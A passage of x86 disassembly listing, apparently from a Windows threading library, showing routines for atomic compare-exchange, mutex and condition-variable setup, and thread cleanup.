		call	near ptr 77C1F2BCh
		nop
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 0Ch
		retn
sub_430E10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430F00	proc near		; CODE XREF: sub_4010C3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		cmp	eax, ebx
		jz	loc_430FA0
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_430FA0
		cmp	esi, 0FFFFFFFFh
		push	edi
		jz	short loc_430F95
		mov	eax, [esi+0Ch]
		mov	edi, 1
		cmp	eax, edi
		jz	short loc_430F4A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jnz	short loc_430F4A
		mov	ebx, edi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430F4A:				; CODE XREF: sub_430F00+2Aj
					; sub_430F00+40j
		cmp	[esi+8], edi
		jnz	short loc_430F58
		mov	eax, [esi+4]
		dec	eax
		mov	[esi+4], eax
		jnz	short loc_430F9A


loc_430F58:				; CODE XREF: sub_430F00+4Dj
		lea	edi, [esi+14h]
		mov	[esi+0Ch], ebx
		push	edi
		call	near ptr 7C901005h
		nop
		push	esi
		nop
		call	near ptr 277078Fh
		test	eax, eax
		jl	short loc_430F88
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_430F88
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_430F88:				; CODE XREF: sub_430F00+6Ej
					; sub_430F00+7Ej
		push	edi
		call	near ptr 7C9010EDh
		nop
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430F95:				; CODE XREF: sub_430F00+1Ej
		mov	ebx, 16h


loc_430F9A:				; CODE XREF: sub_430F00+56j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430FA0:				; CODE XREF: sub_430F00+Aj
					; sub_430F00+14j
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
sub_430F00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430FE0	proc near		; CODE XREF: sub_40177Bj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_431065
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_431065
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431002
		push	esi
		call	sub_401C03
		add	esp, 4
		mov	edi, eax


loc_431002:				; CODE XREF: sub_430FE0+15j
		mov	esi, [esi]
		test	edi, edi
		jnz	short loc_431060
		push	0FFFFFFFFh
		push	edi
		push	esi
		call	dword_50E3EC	; InterlockedCompareExchange
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431033
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43102B
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43102B:				; CODE XREF: sub_430FE0+44j
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431033:				; CODE XREF: sub_430FE0+35j
		cmp	dword ptr [esi+8], 1
		jnz	short loc_43105B
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jz	short loc_43105B
		mov	eax, [esi+4]
		inc	eax
		mov	[esi+4], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43105B:				; CODE XREF: sub_430FE0+57j
					; sub_430FE0+6Dj
		mov	edi, 10h


loc_431060:				; CODE XREF: sub_430FE0+26j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431065:				; CODE XREF: sub_430FE0+Aj
					; sub_430FE0+10j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_430FE0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4310A0:				; CODE XREF: ___:0040192Ej
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_40119A
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4310D0:				; CODE XREF: ___:00401587j
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_4018C0
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431100:				; CODE XREF: ___:0040148Dj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43110C
		mov	eax, [eax+4]
		retn
; ---------------------------------------------------------------------------


loc_43110C:				; CODE XREF: ___:00431106j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431120:				; CODE XREF: ___:00401BFEj
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jnz	short loc_431132
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431132:				; CODE XREF: ___:00431128j
		mov	esi, [eax]
		test	esi, esi
		jnz	short loc_431155
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_431155
		call	sub_401CEE
; ---------------------------------------------------------------------------
		dd 0B5E89056h, 0E8023FEEh, 0FFFD0B9Eh, 5EC0335Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_431155:				; CODE XREF: ___:00431136j
					; ___:0043113Dj
		mov	ecx, [eax+4]
		mov	eax, 431BDE83h
		add	ecx, 0F423Fh
		imul	ecx
		sar	edx, 12h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		lea	eax, [esi+esi*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [eax+eax*4]
		lea	edi, [edx+ecx*8]
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jnz	short loc_43118E
		pop	edi
		mov	eax, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43118E:				; CODE XREF: ___:00431184j
		mov	eax, [esi+30h]
		push	edi
		test	eax, eax
		jnz	short loc_4311F6
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 27703BFh
		test	eax, eax
		jnz	short loc_4311E7
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402225
		mov	eax, [esi+0Ch]
		add	esp, 4
		cmp	eax, 3
		jge	short loc_4311D6
		push	edi
		mov	dword ptr [esi+0Ch], 3
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DD4
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4311D6:				; CODE XREF: ___:004311B6j
		push	edi
		call	sub_4010C3
		add	esp, 4
		mov	eax, 3
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4311E7:				; CODE XREF: ___:004311A2j
		cmp	eax, 102h
		jz	short loc_4311FC
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4311F6:				; CODE XREF: ___:00431194j
		nop
		call	near ptr 2830000h


loc_4311FC:				; CODE XREF: ___:004311ECj
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431250:				; CODE XREF: ___:00401014j
		push	ecx
		lea	eax, [esp+0]
		push	eax
		call	sub_401C26
		add	esp, 4
		test	eax, eax
		mov	eax, 1
		jnz	short loc_43126B
		mov	eax, [esp+0]


loc_43126B:				; CODE XREF: ___:00431265j
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431280	proc near		; CODE XREF: sub_401708j
		push	esi
		call	sub_401320
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		mov	esi, eax
		call	near ptr 27D0796h
		nop
		push	offset aInterlockedcom ; "InterlockedCompareExchange"
		push	eax
		mov	dword_50E3D0, eax
		nop
		call	near ptr 27E0000h
		test	eax, eax
		mov	dword_50E3EC, eax
		jnz	short loc_4312CD
		mov	eax, dword_50E3D0
		mov	dword_50E3EC, offset sub_4012D0
		push	eax
		call	near ptr 2750317h
		nop
		mov	dword_50E3D0, 0


loc_4312CD:				; CODE XREF: sub_431280+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_431280	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431300	proc near		; CODE XREF: sub_40161Dj
		mov	eax, dword_50E3D4
		test	eax, eax
		jz	short loc_431350
		mov	eax, dword_50E3D8
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 86E8501Ah, 8BFFFD04h
		dd 50E3D80Dh, 4C48300h,	6A118Bh, 0ECC6E852h, 0E8900231h
		dd 0FFFD02FBh, 50E3D0A1h, 74C08500h, 0C8E85007h, 900231EFh
; ---------------------------------------------------------------------------


loc_431350:				; CODE XREF: sub_431300+7j
		mov	eax, 1
		retn
sub_431300	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431380	proc near		; CODE XREF: sub_4017B2j
		mov	eax, 1
		retn
sub_431380	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4313A0	proc near		; CODE XREF: sub_4017C1j
		mov	eax, dword_50E3D4
		test	eax, eax
		jz	short loc_4313DB
		mov	eax, dword_50E3D8
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0E6E8501Ah,	8BFFFD03h
		dd 50E3D80Dh, 4C48300h,	6A118Bh, 0EC26E852h
; ---------------------------------------------------------------------------
		xor	[edx], eax
		nop


loc_4313DB:				; CODE XREF: sub_4313A0+7j
		mov	eax, 1
		retn
sub_4313A0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431410:				; CODE XREF: ___:00402239j
		push	ecx
		push	esi
		push	offset dword_50E9A0
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	eax, dword_50E3E0
		test	eax, eax
		mov	[esp+4], eax
		jz	short loc_43144E


loc_43142C:				; CODE XREF: ___:0043144Cj
		test	esi, esi
		jnz	short loc_43144E
		lea	eax, [esp+4]
		push	eax
		call	sub_401604
		mov	ecx, [esp+8]
		mov	esi, eax
		add	esp, 4
		mov	eax, [ecx+18h]
		test	eax, eax
		mov	[esp+4], eax
		jnz	short loc_43142C


loc_43144E:				; CODE XREF: ___:0043142Aj
					; ___:0043142Ej
		push	offset dword_50E9A0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		neg	eax
		sbb	eax, eax
		and	eax, 0Bh
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431490	proc near		; CODE XREF: sub_4012B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_4314A9
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_4314A9
		cmp	dword ptr [eax], 0C4C0FFEEh
		jnz	short loc_4314A9
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4314A9:				; CODE XREF: sub_431490+6j
					; sub_431490+Cj ...
		mov	eax, 1
		retn
sub_431490	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4314C0	proc near		; CODE XREF: sub_401320j
		mov	eax, dword_50E3D4
		test	eax, eax
		jz	short loc_4314CF
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4314CF:				; CODE XREF: sub_4314C0+7j
		push	0
		push	offset dword_50E3D8
		mov	dword_50E3D4, 1
		call	sub_4015FF
		add	esp, 8
		test	eax, eax
		jnz	short loc_4314FE
		push	eax
		push	offset dword_50E3DC
		call	sub_4015FF
		add	esp, 8
		test	eax, eax
		jz	short loc_431503


loc_4314FE:				; CODE XREF: sub_4314C0+2Aj
		call	sub_40163B


loc_431503:				; CODE XREF: sub_4314C0+3Cj
		push	esi
		mov	esi, dword_50F85C
		push	offset dword_50E8E0
		call	esi
		push	offset dword_50E940
		call	esi
		push	offset dword_50E9A0
		call	esi
		push	offset dword_50E920
		call	esi
		push	offset dword_50E980
		call	esi
		push	offset dword_50E960
		call	esi
		mov	eax, dword_50E3D4
		pop	esi
		retn
sub_4314C0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431560	proc near		; CODE XREF: sub_40163Bj
		mov	eax, dword_50E3D4
		test	eax, eax
		jz	locret_431619
		mov	eax, dword_50E3D8
		test	eax, eax
		jz	short loc_431589
		push	eax
		call	sub_401AA0
		add	esp, 4
		mov	dword_50E3D8, 0


loc_431589:				; CODE XREF: sub_431560+14j
		mov	eax, dword_50E3DC
		test	eax, eax
		jz	short loc_4315A5
		push	eax
		call	sub_401AA0
		add	esp, 4
		mov	dword_50E3DC, 0


loc_4315A5:				; CODE XREF: sub_431560+30j
		push	esi
		push	offset dword_50E8E0
		call	near ptr 7C901005h
		nop
		mov	eax, dword_44573C
		cmp	eax, 1
		jz	short loc_4315D3
		push	edi
		mov	edi, dword_50FAC4


loc_4315C2:				; CODE XREF: sub_431560+70j
		mov	esi, [eax+8]
		push	eax
		call	edi
		add	esp, 4
		cmp	esi, 1
		mov	eax, esi
		jnz	short loc_4315C2
		pop	edi


loc_4315D3:				; CODE XREF: sub_431560+59j
		push	offset dword_50E8E0
		call	near ptr 7C9010EDh
		nop
		mov	esi, dword_50F858
		push	offset dword_50E960
		call	esi
		push	offset dword_50E980
		call	esi
		push	offset dword_50E920
		call	esi
		push	offset dword_50E9A0
		call	esi
		push	offset dword_50E940
		call	esi
		push	offset dword_50E8E0
		call	esi
		mov	dword_50E3D4, 0
		pop	esi

locret_431619:				; CODE XREF: sub_431560+7j
		retn
sub_431560	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431650:				; CODE XREF: ___:loc_401B95j
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	eax
		mov	esi, [eax]
		mov	ecx, [eax+4]
		mov	edx, [eax+8]
		mov	[ebp-4], esi
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], edx
		call	near ptr 77C2C21Bh
		nop
		mov	eax, dword_50E3D8
		push	esi
		push	eax
		call	sub_4020DB
; ---------------------------------------------------------------------------
		mov	dword ptr [esi+0Ch], 1
		add	esi, 3Ch
		push	0
		push	esi
		call	sub_436A5C
; ---------------------------------------------------------------------------
		mov	edi, [ebp-4]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4316AC
		mov	ecx, [ebp-8]
		push	ecx
		call	dword ptr [ebp-0Ch]
		add	esp, 4
		mov	[edi+14h], eax
		mov	esi, eax
		jmp	short loc_4316B8
; ---------------------------------------------------------------------------


loc_4316AC:				; CODE XREF: ___:00431699j
		dec	eax
		jz	short loc_4316B5
		dec	eax
		or	esi, 0FFFFFFFFh
		jmp	short loc_4316B8
; ---------------------------------------------------------------------------


loc_4316B5:				; CODE XREF: ___:004316ADj
		mov	esi, [edi+14h]


loc_4316B8:				; CODE XREF: ___:004316AAj
					; ___:004316B3j
		cmp	dword ptr [edi+20h], 1
		jnz	short loc_4316D7
		call	sub_4017C1
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4316D7:				; CODE XREF: ___:004316BCj
		push	edi
		call	sub_40131B
		add	esp, 4
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431730	proc near		; CODE XREF: sub_4017ADj

var_84		= byte ptr -84h
var_80		= dword	ptr -80h
var_58		= byte ptr -58h
var_4C		= dword	ptr -4Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4

		sub	esp, 84h
		push	ebx
		mov	ebx, [esp+88h+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_4317AA
		lea	esi, [ebx+2Ch]
		push	edi
		push	esi
		call	sub_402225
		push	esi
		mov	dword ptr [ebx+0Ch], 5
		call	sub_4010C3
		push	ebx
		call	sub_40131B
		mov	ecx, 21h
		mov	esi, ebx
		lea	edi, [esp+9Ch+var_84]
		push	ebx
		rep movsd
		call	sub_401BBD
		mov	eax, [esp+0A0h+var_4C]
		mov	esi, dword_50F8D8
		add	esp, 10h
		test	eax, eax
		pop	edi
		jz	short loc_431788
		push	eax
		call	esi


loc_431788:				; CODE XREF: sub_431730+53j
		lea	eax, [esp+8Ch+var_58]
		push	eax
		call	sub_40222F
		mov	eax, [esp+90h+var_80]
		add	esp, 4
		test	eax, eax
		jz	short loc_4317AA
		test	[esp+8Ch+var_8], 1
		jnz	short loc_4317AA
		push	eax
		call	esi


loc_4317AA:				; CODE XREF: sub_431730+11j
					; sub_431730+6Bj ...
		pop	esi
		pop	ebx
		add	esp, 84h
		retn
sub_431730	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4317F0	proc near		; CODE XREF: sub_401DC5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	14h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431811
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431811:				; CODE XREF: sub_4317F0+15j
		mov	edi, [esp+10h+arg_8]
		mov	ebp, [esp+10h+arg_4]
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	[esi+4], ebp
		lea	ebx, [edi+8]
		mov	[esi+8], edi
		push	ebx
		call	sub_402225
		add	esp, 4
		mov	[esp+10h+arg_4], eax
		test	eax, eax
		jz	short loc_431852
		push	esi
		call	sub_40222F
		push	esi
		nop
		call	near ptr 77C2C21Bh
		mov	eax, [esp+18h+arg_4]
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431852:				; CODE XREF: sub_4317F0+47j
		mov	eax, [edi+0Ch]
		push	ebx
		mov	[esi+10h], eax
		mov	[edi+0Ch], esi
		call	sub_4010C3
		add	esp, 4
		test	ebp, ebp
		jz	short loc_431877
		mov	ecx, [ebp+80h]
		mov	[esi+0Ch], ecx
		mov	[ebp+80h], esi


loc_431877:				; CODE XREF: sub_4317F0+76j
		mov	edx, [esp+10h+arg_0]
		pop	edi
		xor	eax, eax
		mov	[edx], esi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4317F0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4318C0	proc near		; CODE XREF: sub_40105Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_4318E7
		mov	eax, [esi+8]
		test	eax, eax
		jnz	short loc_4318E7
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_4318E7
		push	esi
		call	sub_40222F
		push	esi
		call	near ptr 77C2C21Bh
		nop
		add	esp, 8


loc_4318E7:				; CODE XREF: sub_4318C0+7j
					; sub_4318C0+Ej ...
		pop	esi
		retn
sub_4318C0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431900	proc near		; CODE XREF: sub_40131Bj

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_43196D
		mov	esi, [ebx+80h]
		test	esi, esi
		jz	short loc_43196D
		push	edi


loc_431915:				; CODE XREF: sub_431900+6Aj
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_431968
		mov	edi, [esi+8]
		test	edi, edi
		jz	short loc_431943
		push	edi
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_431943
		mov	edi, [edi+4]
		test	edi, edi
		jz	short loc_431943
		push	eax


loc_43193E:				; CODE XREF: ___:004319B7j
		call	edi
		add	esp, 4


loc_431943:				; CODE XREF: sub_431900+27j
					; sub_431900+34j ...
		mov	eax, [esi+0Ch]
		mov	dword ptr [esi+4], 0
		push	esi
		mov	[ebx+80h], eax
		call	sub_4010C3
		push	esi
		call	sub_40105F
		mov	esi, [ebx+80h]
		add	esp, 8


loc_431968:				; CODE XREF: sub_431900+20j
		test	esi, esi
		jnz	short loc_431915
		pop	edi


loc_43196D:				; CODE XREF: sub_431900+8j
					; sub_431900+12j
		pop	esi
		pop	ebx
		retn
sub_431900	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431990	proc near		; CODE XREF: sub_401DD4j
		mov	eax, dword_50E3D8
		push	ebx
		push	edi
		push	eax
		call	sub_401190
sub_431990	endp

; ---------------------------------------------------------------------------
		db 8Bh,	5Ch, 24h
; ---------------------------------------------------------------------------
		adc	[ebx-47CFB3Ch],	al
		add	cl, [ebx-7CF28B08h]
		sti
		add	[eax+ecx+6Ah], esi
		add	[eax-7F7B3918h], edx
		ja	short loc_43193E
		push	dword ptr [esi+eax-0Ah]
		inc	edi
		jl	short near ptr loc_4319C0+1


loc_4319C0:				; CODE XREF: ___:004319BEj
		jz	short loc_4319E5
		push	esi
		mov	eax, ebx
		xor	esi, esi
		dec	eax
		jz	short loc_4319D2
		dec	eax
		jnz	short loc_4319D5
		or	esi, 0FFFFFFFFh
		jmp	short loc_4319D5
; ---------------------------------------------------------------------------


loc_4319D2:				; CODE XREF: ___:004319C8j
		mov	esi, [edi+14h]


loc_4319D5:				; CODE XREF: ___:004319CBj
					; ___:004319D0j
		call	sub_4017C1
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		pop	esi


loc_4319E5:				; CODE XREF: ___:loc_4319C0j
		push	1
		call	sub_401B0E
; ---------------------------------------------------------------------------
		dd 8304C483h, 57533CC7h, 537AE890h, 90907780h, 90909090h
		dd 8 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431A20	proc near		; CODE XREF: sub_401B0Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_401122
sub_431A20	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_431A3F


loc_431A32:				; CODE XREF: ___:00431A3Dj
		push	esi
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_431A32


loc_431A3F:				; CODE XREF: ___:00431A30j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431A60:				; CODE XREF: ___:00401DDEj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431A80	proc near		; CODE XREF: sub_4012D0j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		lock cmpxchg [ecx], edx
		mov	[ebp+var_4], eax
		pop	edx
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_431A80	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431AC0	proc near		; CODE XREF: sub_401C26j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		lea	eax, [esp+8+var_4]
		lea	ecx, [esp+8+var_8]
		push	esi
		push	eax
		push	ecx
		xor	esi, esi
		call	near ptr 278098Ah
		nop
		push	eax
		nop
		call	near ptr 2740AD7h
		test	eax, eax
		jz	short loc_431B02
		mov	edx, [esp+0Ch+var_8]
		xor	ecx, ecx
		mov	eax, 1


loc_431AEC:				; CODE XREF: sub_431AC0+33j
		test	eax, edx
		jz	short loc_431AF1
		inc	ecx


loc_431AF1:				; CODE XREF: sub_431AC0+2Ej
		shl	eax, 1
		jnz	short loc_431AEC
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, esi
		pop	esi
		mov	[edx], ecx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_431B02:				; CODE XREF: sub_431AC0+1Fj
		mov	eax, 0Bh
		pop	esi
		add	esp, 8
		retn
sub_431AC0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431B30	proc near		; CODE XREF: sub_40184Dj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E980
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431B64
		push	esi
		push	ecx
		call	sub_401F73
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E980
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B64:				; CODE XREF: sub_431B30+17j
		test	eax, eax
		jnz	short loc_431B6D
		mov	esi, 16h


loc_431B6D:				; CODE XREF: sub_431B30+36j
		push	offset dword_50E980
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_431B30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431BA0	proc near		; CODE XREF: sub_401852j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+14h]
		lea	ecx, [esi+4]
		neg	eax
		push	ecx
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		push	esi
		call	sub_4010C3
		add	esp, 8
		pop	esi
		retn
sub_431BA0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431BE0	proc near		; CODE XREF: sub_401F73j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	eax, eax
		jnz	short loc_431BF2
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BF2:				; CODE XREF: sub_431BE0+9j
		mov	eax, [esp+4+arg_4]
		push	ebx
		test	eax, eax
		push	edi
		jz	short loc_431C12
		cmp	dword ptr [eax], 0
		jz	short loc_431C12
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431C12:				; CODE XREF: sub_431BE0+1Aj
					; sub_431BE0+1Fj
		push	1Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431C36
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 0Ch
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431C36:				; CODE XREF: sub_431BE0+43j
		push	0
		push	esi
		mov	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi+10h], 0
		mov	dword ptr [esi+14h], 0
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_431C94
		lea	ebx, [esi+4]
		push	eax
		push	ebx
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_431C8B
		push	eax
		lea	eax, [esi+8]
		push	eax
